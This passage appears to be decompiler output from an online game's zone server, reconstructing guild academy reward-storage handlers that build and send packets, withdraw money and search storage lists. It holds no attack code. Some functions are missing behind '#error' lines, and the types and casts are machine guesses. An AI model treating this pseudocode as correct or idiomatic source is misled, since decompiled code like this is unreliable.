reward_acka; // [sp+5Ch] [bp+4h]@10 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = reward_ack; v5 = *(_WORD *)(reward_ack + 6) == 6304; v18 = 0; if ( v5 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) == 1 ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2) ) { v6 = *(_DWORD *)(reward_ack + 12); v15 = *(_DWORD *)(reward_ack + 12); if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2) == v6 ) { if ( *(_DWORD *)(reward_ack + 48) || *(_DWORD *)(reward_ack + 44) ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v7 += 2; *v7 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v7 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v7 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v7 + 7) = v6; v7[11] = 1; v7[12] = 3; v7[13] = 2; *(_DWORD *)(v7 + 33) = *(_DWORD *)(reward_ack + 44); *(_DWORD *)(v7 + 37) = *(_DWORD *)(reward_ack + 48); *(_DWORD *)(v7 + 41) = *(_DWORD *)(reward_ack + 52); *(_DWORD *)(v7 + 45) = *(_DWORD *)(reward_ack + 56); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); Name4::operator_((int)(v7 + 15), v8); *(_WORD *)(v7 + 31) = -1; v7[14] = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v7, 0x30u); BYTE7(tempring.storage_cen) = v7[48]; GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); LODWORD(v9) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1068))( v2, *(_DWORD *)(reward_ack + 44) + v9, (unsigned __int64)(*(_QWORD *)(reward_ack + 44) + v9) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); v3 = -1; } if ( *(_BYTE *)(reward_ack + 60) ) { v10 = reward_ack + 64; i = 0; for ( reward_acka = reward_ack + 64; ; v10 = reward_acka ) { v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v11 += 2; *v11 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v11 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v11 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v11 + 7) = v15; v11[11] = 1; v11[12] = 3; v11[13] = 1; v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); *(_DWORD *)(v11 + 15) = *(_DWORD *)v12; *(_DWORD *)(v11 + 19) = *(_DWORD *)(v12 + 4); *(_DWORD *)(v11 + 23) = *(_DWORD *)(v12 + 8); *(_DWORD *)(v11 + 27) = *(_DWORD *)(v12 + 12); *(_WORD *)(v11 + 31) = *(_WORD *)(v10 - 2); v11[14] = *(_BYTE *)v10; *(_DWORD *)(v11 + 33) = *(_DWORD *)(v10 + 2); *(_DWORD *)(v11 + 37) = 0; *(_DWORD *)(v11 + 41) = 0; *(_DWORD *)(v11 + 45) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v11, 0x30u); BYTE7(tempring.storage_cen) = v11[48]; GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); reward_acka += 9; ++i; if ( i >= *(_BYTE *)(v4 + 60) ) break; } v3 = -1; } } } } v13 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; } else { v13 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck"; } --funcallanalizer.fca_stackpoint; v18 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); __security_check_cookie(v17); } //----- (0044DAA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng(void *this, int reward) { void *v2; // ebx@1 char *v3; // esi@9 int v4; // esi@9 int v5; // eax@9 signed int v6; // eax@12 __int64 v7; // qax@17 const char *v8; // [sp-18h] [bp-2038h]@2 int v9; // [sp-14h] [bp-2034h]@2 char *v10; // [sp-14h] [bp-2034h]@18 int v11; // [sp+0h] [bp-2020h]@10 char *v12; // [sp+0h] [bp-2020h]@13 int v13; // [sp+4h] [bp-201Ch]@10 int v14; // [sp+4h] [bp-201Ch]@13 signed int i; // [sp+8h] [bp-2018h]@9 char buff[8192]; // [sp+10h] [bp-2010h]@12 unsigned int v17; // [sp+2010h] [bp-10h]@21 int v18; // [sp+201Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; if ( !reward ) { v9 = 0; v8 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - reward null"; LABEL_20: AssertClass::ac_AssertFail(&shineassert, v8, v9); v18 = -1; v10 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; goto LABEL_21; } if ( *(_WORD *)(reward + 6) != 6304 ) { v9 = 0; v8 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - receive error"; goto LABEL_20; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) != 1 ) { v9 = 0; v8 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - guildacademy member"; goto LABEL_20; } if ( !(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2) || (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2) != *(_DWORD *)(reward + 12) ) { v9 = 0; v8 = "ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng - guildacademy number"; goto LABEL_20; } v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26493; v4 = (int)(v3 + 2); *(_BYTE *)v4 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v4 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v4 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v4 + 7) = *(_DWORD *)(reward + 12); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); Name4::operator_(v4 + 11, v5); *(_DWORD *)(v4 + 27) = *(_DWORD *)(reward + 44); *(_DWORD *)(v4 + 31) = *(_DWORD *)(reward + 48); *(_DWORD *)(v4 + 35) = *(_DWORD *)(reward + 52); *(_DWORD *)(v4 + 39) = *(_DWORD *)(reward + 56); *(_BYTE *)(v4 + 43) = *(_BYTE *)(reward + 60); i = 0; if ( *(_BYTE *)(reward + 60) ) { v13 = v4 + 44; v11 = reward + 61; do { *(_DWORD *)v13 = *(_DWORD *)v11; *(_DWORD *)(v13 + 4) = *(_DWORD *)(v11 + 4); *(_BYTE *)(v13 + 8) = *(_BYTE *)(v11 + 8); v11 += 9; v13 += 9; ++i; } while ( i < *(_BYTE *)(reward + 60) ); } ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 9 * *(_BYTE *)(v4 + 43) + 46); *(_DWORD *)buff = *(_DWORD *)v4; *(_WORD *)&buff[4] = *(_WORD *)(v4 + 4); buff[6] = *(_BYTE *)(v4 + 6); *(_DWORD *)&buff[7] = *(_DWORD *)(v4 + 7); *(_DWORD *)&buff[11] = *(_DWORD *)(v4 + 11); *(_DWORD *)&buff[15] = *(_DWORD *)(v4 + 15); *(_DWORD *)&buff[19] = *(_DWORD *)(v4 + 19); *(_DWORD *)&buff[23] = *(_DWORD *)(v4 + 23); *(_DWORD *)&buff[27] = *(_DWORD *)(v4 + 27); *(_DWORD *)&buff[31] = *(_DWORD *)(v4 + 31); *(_DWORD *)&buff[35] = *(_DWORD *)(v4 + 35); *(_DWORD *)&buff[39] = *(_DWORD *)(v4 + 39); buff[43] = *(_BYTE *)(v4 + 43); v6 = 0; if ( *(_BYTE *)(v4 + 43) ) { v12 = &buff[44]; v14 = v4 + 44; do { *(_DWORD *)v12 = *(_DWORD *)v14; *((_DWORD *)v12 + 1) = *(_DWORD *)(v14 + 4); v12[8] = *(_BYTE *)(v14 + 8); ++v6; v14 += 9; v12 += 9; } while ( v6 < *(_BYTE *)(v4 + 43) ); } GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)buff); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)buff); if ( *(_DWORD *)(reward + 48) || *(_DWORD *)(reward + 44) ) { LODWORD(v7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1068))( v2, *(_DWORD *)(reward + 44) + v7, (unsigned __int64)(*(_QWORD *)(reward + 44) + v7) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); } v18 = -1; v10 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng"; LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); __security_check_cookie(v17); } //----- (0044DDD0) -------------------------------------------------------- #error "44DDD0: undefined or illegal type '#325' (funcsize=73)" //----- (0044DED0) -------------------------------------------------------- #error "44DED0: undefined or illegal type '#325' (funcsize=60)" //----- (0044DFC0) -------------------------------------------------------- #error "44DFC0: undefined or illegal type '#325' (funcsize=63)" //----- (0044E0B0) -------------------------------------------------------- #error "44E0B0: undefined or illegal type '#325' (funcsize=81)" //----- (0044E1C0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ShineGuildAcademyGuildBuff sgagb; // [sp+4h] [bp-1Ch]@1 int v4; // [sp+1Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff( &sgagb, (PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *)&netcmd[1]); LOBYTE(v4) = 1; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgagb); --funcallanalizer.fca_stackpoint; sgagb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD"); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044E280) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ShineGuildAcademyMasterBuff sgamb; // [sp+4h] [bp-18h]@1 int v4; // [sp+18h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; sgamb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyMasterBuff::_vftable_; sgamb.sgamb_GuildBuff = (PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD *)&netcmd[1]; LOBYTE(v4) = 1; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgamb); --funcallanalizer.fca_stackpoint; sgamb.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD"); } // 5AFB6C: using guessed type int (__stdcall *ShineGuildAcademyMasterBuff___vftable_)(int, __int16 handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044E340) -------------------------------------------------------- #error "44E340: undefined or illegal type '#325' (funcsize=61)" //----- (0044E430) -------------------------------------------------------- #error "44E430: undefined or illegal type '#325' (funcsize=56)" //----- (0044E510) -------------------------------------------------------- #error "44E510: undefined or illegal type '#325' (funcsize=56)" //----- (0044E5F0) -------------------------------------------------------- #error "44E5F0: undefined or illegal type '#325' (funcsize=56)" //----- (0044E6D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2024))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD"); } //----- (0044E770) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ebx@2 char *v6; // edi@6 ZoneBaseSession *v7; // eax@8 char *v8; // edi@9 ZoneBaseSession *v9; // eax@11 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) == 1 ) v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2048))(v4); else v5 = (int)"ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"; } else { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); } v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13442; *((_WORD *)v6 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v6 + 2) = v5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ : Packet Too Long", 12); } v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26512; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v9); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ"); } //----- (0044E900) -------------------------------------------------------- GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *, List *, unsigned __int16, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *), unsigned __int16 *hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *result; // eax@1 ListSearchSame searcher; // [sp+0h] [bp-24h]@1 int v6; // [sp+20h] [bp-4h]@1 searcher.lss_compfunc = compfunc; searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; searcher.lss_lst = this; searcher.lss_key = key; searcher.lss_found.element = 0; searcher.lss_found.hnd = -1; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lss_found.element; *hnd = searcher.lss_found.hnd; return result; } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); //----- (0044E970) -------------------------------------------------------- GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle) { int v3; // eax@0 void *v4; // esp@1 List *v5; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *result; // eax@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement key; // [sp+0h] [bp-20C8h]@1 unsigned int v8; // [sp+20B8h] [bp-10h]@1 int v9; // [sp+20BCh] [bp-Ch]@1 _EXCEPTION_DISPOSITION (__cdecl *v10)(EHExceptionRecord *, EHRegistrationNode *, void *, void *); // [sp+20C0h] [bp-8h]@1 int v11; // [sp+20C4h] [bp-4h]@1 v11 = -1; v10 = _ehhandler__garsm_FindStorage_GuildAcademyRewardStorageManager_GuildAcademyRewardStorage__QAEPAVGuildAcademyRewardStorageElement_2_KPAG_Z; v9 = v3; v4 = alloca(8380); v5 = (List *)this; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(&key, guild); v11 = 0; List::l_Search( v5, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCompare, storagehandle, &key); v11 = -1; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement(&key); __security_check_cookie(v8); return result; } //----- (0044EA10) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDeactivate(int a1, int a2) { int v2; // esi@1 unsigned int v3; // edi@2 unsigned __int16 *v4; // eax@9 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v5; // ebx@9 __int16 v6; // ax@10 int result; // eax@14 unsigned int nGuildNo; // [sp+0h] [bp-20h]@0 ShineGuildAcademyRewardStorageDeactive sgarsd; // [sp+4h] [bp-1Ch]@10 unsigned int v10; // [sp+14h] [bp-Ch]@10 signed int v11; // [sp+20h] [bp+0h]@10 v2 = a1; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)a1 + 2044))() ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2044))(v2) == 1 ) v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2048))(v2); else v3 = nGuildNo; } else { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1980))(v2); } if ( v3 && (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2016))(v2) && *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2016))(v2) != -1 ) { v4 = (unsigned __int16 *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 2016))(v2, a2); v5 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v3, v4); if ( v5 ) { v6 = *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2016))(v2); sgarsd.sgarsd_GuildNo = (unsigned int)&ShineGuildAcademyRewardStorageDeactive::_vftable_; *(_DWORD *)&sgarsd.sgarsd_hnd = v3; LOWORD(sgarsd.sgarsd_DetectUseGuildAcademyRewardStorage) = v6; v10 = 0; v11 = 0; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgarsd.sgarsd_GuildNo); if ( v10 <= 1 ) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(v5); List::l_Free((List *)&gldacademyrewardstoramanager, *(_WORD *)(v2 + 68214)); } v11 = -1; sgarsd.sgarsd_GuildNo = (unsigned int)&ListIteratorDefault::_vftable_; } (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2020))(v2); } result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2016))(v2); if ( result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2016))(v2); if ( *(_WORD *)result != -1 ) result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 2020))(v2, 65535); } return result; } // 5AFB08: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageDeactive___vftable_)(int, int nGuildNo); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0044EB70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck(void *this, int withdraw) { void *v2; // edi@1 int v3; // edx@1 int v4; // eax@2 unsigned __int16 *v5; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v6; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v7; // esi@6 int v8; // eax@8 int v9; // ST04_4@9 DebugLogging *v10; // eax@9 DebugLogging *v11; // eax@9 unsigned __int64 v12; // qax@10 unsigned int v13; // esi@10 unsigned int v14; // ebx@10 unsigned __int64 v15; // kr00_8@10 char *v16; // eax@10 int v17; // eax@12 char *v18; // eax@13 int v19; // esi@13 int v20; // eax@13 int v21; // eax@14 int v22; // eax@16 char *v23; // [sp+0h] [bp-64h]@13 unsigned int nGuildNo; // [sp+14h] [bp-50h]@0 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *storage; // [sp+18h] [bp-4Ch]@6 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+20h] [bp-44h]@13 unsigned int v27; // [sp+54h] [bp-10h]@18 int v28; // [sp+60h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v28 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v3 + 2044))(v2) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); LABEL_5: nGuildNo = v4; goto LABEL_6; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) == 1 ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2); goto LABEL_5; } LABEL_6: v5 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2016))(v2); v6 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, nGuildNo, v5); v7 = v6; storage = v6; if ( *(_WORD *)(withdraw + 16) == 6112 && v6 ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v8 + 24))( v8, v2, *(_WORD *)(withdraw + 6), 0) ) { v9 = *(_WORD *)(withdraw + 6); v10 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : "); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); } v12 = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v7); v13 = v12; LODWORD(v12) = *(_DWORD *)(withdraw + 8); v14 = HIDWORD(v12); HIDWORD(v12) = *(_DWORD *)(withdraw + 12); v15 = __PAIR__(v14, v13) - v12; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(storage, __PAIR__(v14, v13) - v12); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12336; *(_QWORD *)(v16 + 2) = v15; *((_WORD *)v16 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26510; v19 = (int)(v18 + 2); v18[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v19 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v19 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v19 + 7) = nGuildNo; *(_BYTE *)(v19 + 11) = 1; *(_BYTE *)(v19 + 12) = 0; *(_BYTE *)(v19 + 13) = 2; *(_DWORD *)(v19 + 33) = *(_DWORD *)(withdraw + 8); *(_DWORD *)(v19 + 37) = *(_DWORD *)(withdraw + 12); *(_QWORD *)(v19 + 41) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(storage); v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); *(_DWORD *)(v19 + 15) = *(_DWORD *)v20; *(_DWORD *)(v19 + 19) = *(_DWORD *)(v20 + 4); *(_DWORD *)(v19 + 23) = *(_DWORD *)(v20 + 8); *(_DWORD *)(v19 + 27) = *(_DWORD *)(v20 + 12); *(_WORD *)(v19 + 31) = -1; *(_BYTE *)(v19 + 14) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, (const void *)v19, 0x30u); BYTE7(tempring.storage_cen) = *(_BYTE *)(v19 + 48); 